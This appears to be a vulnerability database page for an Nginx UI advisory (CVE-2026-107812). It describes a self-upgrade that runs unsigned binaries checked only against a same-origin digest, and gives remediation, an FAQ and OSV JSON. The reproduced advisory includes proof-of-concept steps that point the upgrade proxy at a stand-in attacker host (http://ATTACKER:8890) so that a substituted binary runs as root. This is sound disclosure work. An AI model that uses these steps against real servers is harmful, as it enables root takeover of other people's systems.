CVE-2026-107812: Nginx UI Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-662p-52hx-cmh2
CVSS 7.5
CWE-494
Published
Advisory Summary

CVE-2026-107812 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-494: Download of Code Without Integrity Check) affecting Nginx UI libraries in the Go ecosystem. The issue involves self-upgrade runs an unsigned binary verified only by a same-origin digest → rce via a compromised mirror or mitm. Remediation is available by upgrading affected packages to version 1.9.10-0.20260728114330-580585516dd8.

CVE-2026-107812 at a Glance

CVE Identifier CVE-2026-107812
GHSA Identifier GHSA-662p-52hx-cmh2
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-494: Download of Code Without Integrity Check
Affected Product Nginx UI
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-107812

To remediate this vulnerability, upgrade all affected Nginx UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/0xJacky/Nginx-UI fixed: 1.9.10-0.20260728114330-580585516dd8
Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20260728114330-580585516dd8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/0xJacky/Nginx-UI

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-107812, inspect your project dependencies for Nginx UI:

inspect dependencies for github.com/0xJacky/Nginx-UI

Analyze the terminal output to locate any version of Nginx UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.10-0.20260728114330-580585516dd8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-494: Download of Code Without Integrity Check, where the product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code. In Nginx UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The self-upgrade downloads the release binary and its checksum (`*.tar.gz` and `*.tar.gz.digest`) through the SAME endpoint (`version.GetUrl()`, which is `github_proxy` or, by default, the project's `cloud.nginxui.com` mirror), and verifies the binary ONLY by comparing it to that digest: `digestFileContent == DigestSHA512(tarName)`. Both the binary and the digest come from the same origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then replaces the running executable (`selfupdate.CommitBinary`) and the process restarts, so the binary runs as the nginx-ui user (typically root). Because integrity rests only on a digest fetched from the same place as the binary, anyone who controls that download path can substitute a malicious binary plus a matching digest and obtain code execution as root on the next upgrade. Additionally, the `github_proxy` setting accepts `http://` URLs, so the binary+digest can be fetched over cleartext. ## Affected code - `internal/version/url.go GetUrl(path)` = `<github_proxy or cloud.nginxui.com>/<path>` — used for BOTH the binary and the digest. - `internal/upgrader/upgrade.go DownloadLatestRelease`: digest URL and binary URL are both wrapped with `GetUrl()`, fetched, and checked with `digestFileContent == DigestSHA512(tarName)`. No signature verification anywhere in `internal/upgrader/`. - `selfupdate.CommitBinary` then replaces the running binary; the process restarts. - `settings/http.go`: `GithubProxy` accepts any URL (`binding:"omitempty,url"`), including `http://`. ## Attack scenarios A. Compromised mirror / CDN (primary). By default the binary+digest are routed through `cloud.nginxui.com`. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades, yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the mirror). A binary signature would prevent this. B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of `github_proxy`; the field accepts `http://`, so the binary+digest are fetched in cleartext. An attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router) substitutes a malicious binary + matching digest -> root RCE on the next upgrade. C. (mechanism demonstration) An authenticated user sets `github_proxy` to a server they control and triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it is included only to demonstrate that an unsigned attacker binary is accepted and executed. ## Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism An attacker HTTP server serves any `*.tar.gz` -> a malicious tarball (whose `nginx-ui` is a script that writes a marker as whoever runs it) and any `*.digest` -> the SHA-512 of that tarball. 1. Set the download origin to the attacker server (here via `github_proxy`; in scenarios A/B this is instead a compromised mirror / MITM): `POST /api/settings` with `http.github_proxy = http://ATTACKER:8890` -> 200. The field accepts the http URL. 2. Trigger the upgrade: WS `GET /api/upgrade/perform`, send `{"channel":"stable"}`. 3. Observed: - The attacker server received BOTH `GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest` and `.../nginx-ui-linux-64.tar.gz` (over cleartext http). - WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked. - Inside the container: `/tmp/UPGRADE_PWNED` = `UPGRADE_RCE_EXECUTED uid=0` -> the malicious binary replaced nginx-ui and EXECUTED AS ROOT. ## Impact Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these. ## Honest scope / caveats - Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is accepted and executed as root, and the binary+digest are fetched over cleartext http when an http proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy). - NOT staged (threat-model assumptions, not PoC artifacts): actually compromising `cloud.nginxui.com` / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are standard attacker capabilities, marked here as analysis. - The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to `cloud.nginxui.com`+GitHub plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which matters when the source is compromised or the transport is cleartext (http proxy). ## Suggested fix Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin as the binary. Reject `http://` for `github_proxy` (require https). Consider treating `github_proxy` as a protected setting. ## Dedup / novelty Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.

CVE-2026-107812 Affected Nginx UI Versions

1 component(s)
Fixed Versions:
1.9.10-0.20260728114330-580585516dd8
Product / Package Ecosystem Affected Versions Fixed Version
github.com/0xJacky/Nginx-UI
Go
≥ 1.9.10-0.20250517140552-daee3ac7ade1
< 1.9.10-0.20260728114330-580585516dd8
1.9.10-0.20260728114330-580585516dd8

References

Frequently Asked Questions

What is CVE-2026-107812?
CVE-2026-107812 is a security vulnerability in Nginx UI involving Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM under CWE-494: Download of Code Without Integrity Check.
Which Nginx UI versions are affected?
Affected versions include releases prior to 1.9.10-0.20260728114330-580585516dd8 across affected packages: github.com/0xJacky/Nginx-UI.
What version fixes CVE-2026-107812?
Upgrading to 1.9.10-0.20260728114330-580585516dd8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/0xJacky/Nginx-UI affected?
Yes, github.com/0xJacky/Nginx-UI is affected in releases prior to 1.9.10-0.20260728114330-580585516dd8. Upgrade your dependency to 1.9.10-0.20260728114330-580585516dd8 or later.
What is the CVSS score of CVE-2026-107812?
CVE-2026-107812 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-107812?
CVE-2026-107812 is classified under CWE-494: Download of Code Without Integrity Check (The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.).
How can I check Go dependencies for CVE-2026-107812?
Run the dependency tree command: 'inspect dependencies for github.com/0xJacky/Nginx-UI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-662p-52hx-cmh2",
  "modified" : "2026-10-09T17:08:21Z",
  "published" : "2026-10-09T17:08:21Z",
  "aliases" : [ "CVE-2026-107812" ],
  "summary" : "Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM",
  "details" : "## Summary\nThe self-upgrade downloads the release binary and its checksum (`*.tar.gz` and `*.tar.gz.digest`)\nthrough the SAME endpoint (`version.GetUrl()`, which is `github_proxy` or, by default, the project's\n`cloud.nginxui.com` mirror), and verifies the binary ONLY by comparing it to that digest:\n`digestFileContent == DigestSHA512(tarName)`. Both the binary and the digest come from the same\norigin, and there is NO cryptographic signature / public-key verification. The downloaded binary then\nreplaces the running executable (`selfupdate.CommitBinary`) and the process restarts, so the binary\nruns as the nginx-ui user (typically root).\n\nBecause integrity rests only on a digest fetched from the same place as the binary, anyone who\ncontrols that download path can substitute a malicious binary plus a matching digest and obtain code\nexecution as root on the next upgrade. Additionally, the `github_proxy` setting accepts `http://`\nURLs, so the binary+digest can be fetched over cleartext.\n\n## Affected code\n- `internal/version/url.go GetUrl(path)` = `<github_proxy or cloud.nginxui.com>/<path>` — used for\n  BOTH the binary and the digest.\n- `internal/upgrader/upgrade.go DownloadLatestRelease`: digest URL and binary URL are both wrapped\n  with `GetUrl()`, fetched, and checked with `digestFileContent == DigestSHA512(tarName)`. No\n  signature verification anywhere in `internal/upgrader/`.\n- `selfupdate.CommitBinary` then replaces the running binary; the process restarts.\n- `settings/http.go`: `GithubProxy` accepts any URL (`binding:\"omitempty,url\"`), including `http://`.\n\n## Attack scenarios\nA. Compromised mirror / CDN (primary). By default the binary+digest are routed through\n   `cloud.nginxui.com`. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is\n   hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades,\n   yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the\n   mirror). A binary signature would prevent this.\nB. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of\n   `github_proxy`; the field accepts `http://`, so the binary+digest are fetched in cleartext. An\n   attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)\n   substitutes a malicious binary + matching digest -> root RCE on the next upgrade.\nC. (mechanism demonstration) An authenticated user sets `github_proxy` to a server they control and\n   triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no\n   role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it\n   is included only to demonstrate that an unsigned attacker binary is accepted and executed.\n\n## Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism\nAn attacker HTTP server serves any `*.tar.gz` -> a malicious tarball (whose `nginx-ui` is a script\nthat writes a marker as whoever runs it) and any `*.digest` -> the SHA-512 of that tarball.\n1. Set the download origin to the attacker server (here via `github_proxy`; in scenarios A/B this is\n   instead a compromised mirror / MITM): `POST /api/settings` with\n   `http.github_proxy = http://ATTACKER:8890` -> 200. The field accepts the http URL.\n2. Trigger the upgrade: WS `GET /api/upgrade/perform`, send `{\"channel\":\"stable\"}`.\n3. Observed:\n   - The attacker server received BOTH\n     `GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest` and `.../nginx-ui-linux-64.tar.gz`\n     (over cleartext http).\n   - WS: \"Downloading latest release\" -> \"Performing core upgrade\" -> restart. The attacker tarball's\n     digest matched (attacker supplied both) -> integrity check PASSED, no signature checked.\n   - Inside the container: `/tmp/UPGRADE_PWNED` = `UPGRADE_RCE_EXECUTED uid=0` -> the malicious binary\n     replaced nginx-ui and EXECUTED AS ROOT.\n\n## Impact\nRoot code execution on upgrade. Realistically reached by compromising the trusted download source\n(mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A\ncryptographic signature on the release binary would prevent all of these.\n\n## Honest scope / caveats\n- Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is\n  accepted and executed as root, and the binary+digest are fetched over cleartext http when an http\n  proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).\n- NOT staged (threat-model assumptions, not PoC artifacts): actually compromising `cloud.nginxui.com`\n  / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are\n  standard attacker capabilities, marked here as analysis.\n- The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to `cloud.nginxui.com`+GitHub\n  plus the digest, so this is not \"zero integrity\" — the gap is the absence of a signature, which\n  matters when the source is compromised or the transport is cleartext (http proxy).\n\n## Suggested fix\nVerify the release binary against a cryptographic signature with a public key pinned in the nginx-ui\nbinary (or a digest fetched over an independent, pinned channel), not a digest from the same origin\nas the binary. Reject `http://` for `github_proxy` (require https). Consider treating `github_proxy`\nas a protected setting.\n\n## Dedup / novelty\nDistinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup\ntampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade\nintegrity (checked osv.dev and the GitHub advisory database). Appears novel.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/0xJacky/Nginx-UI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.9.10-0.20250517140552-daee3ac7ade1"
      }, {
        "fixed" : "1.9.10-0.20260728114330-580585516dd8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-662p-52hx-cmh2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/commit/580585516dd87a8b176bcdac258db70c3b64b7ec"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/0xJacky/nginx-ui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/releases/tag/v2.5.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-494" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-09T17:08:21Z",
    "nvd_published_at" : null
  }
}